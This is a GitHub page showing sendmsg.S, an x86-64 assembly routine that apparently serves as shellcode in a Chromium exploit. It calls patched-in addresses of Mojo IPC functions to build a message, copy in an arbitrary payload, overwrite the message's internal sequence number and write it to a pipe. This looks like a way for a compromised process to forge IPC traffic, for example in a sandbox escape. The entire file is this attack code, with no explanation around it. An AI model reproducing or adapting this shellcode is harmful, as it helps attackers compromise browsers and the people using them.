-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathsendmsg.S
75 lines (69 loc) · 1.29 KB
/
sendmsg.S
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
BITS 64
start:
; int3
push rbp
mov rbp, rsp
sub rsp, 0x8
xor rdi, rdi ; options NULL
lea rsi, [rel msghandle] ; message_handle
mov rax, 0x4242424242424242 ; MojoCreateMessageImpl
call rax
mov rdi, qword[rel msghandle] ; msghandle
xor rsi, rsi
mov esi, dword[rel trailer_length] ; payload_size
lea rdx, [rel handles]; handles
mov rcx, 2; num_handles
lea r8, [rel options] ; options
lea rax, [rel num_bytes]
push rax
lea r9, [rel bufferptr]
mov rax, 0x4444444444444444 ; MojoAppendMessageDataImpl
call rax
cmp rax, 0
jnz debug
mov rax, qword[rel num_bytes]
xor rdx, rdx
mov edx, dword[rel trailer_length]
cmp rax, rdx
jl debug
copy:
xor rcx, rcx
mov ecx, dword[rel trailer_length] ; byteLength
mov rdi, qword[rel bufferptr] ; dest
lea rsi, [rel trailer] ; source
REP movsb
mov rdi, qword[rel msghandle]
mov rsi, qword[rel seq_num]
mov qword[rdi + 0x20], rsi ; next_sequence_num_to_send
; int3
mov rdi, qword[rel pipehandle]
mov rsi, qword[rel msghandle]
xor rdx, rdx
mov rax, 0x4545454545454545; MojoWriteMessageImpl
call rax
test rax, rax
jz end
debug:
int3
end:
leave
ret
msghandle:
dq 0
bufferptr:
dq 0
num_bytes:
dd 0
options:
dd 8
dd 1 ; MOJO_APPEND_MESSAGE_DATA_FLAG_COMMIT_SIZE
seq_num:
dq 0
handles:
dd 0
dd 0
pipehandle:
dd 0
trailer_length:
dd 0
trailer: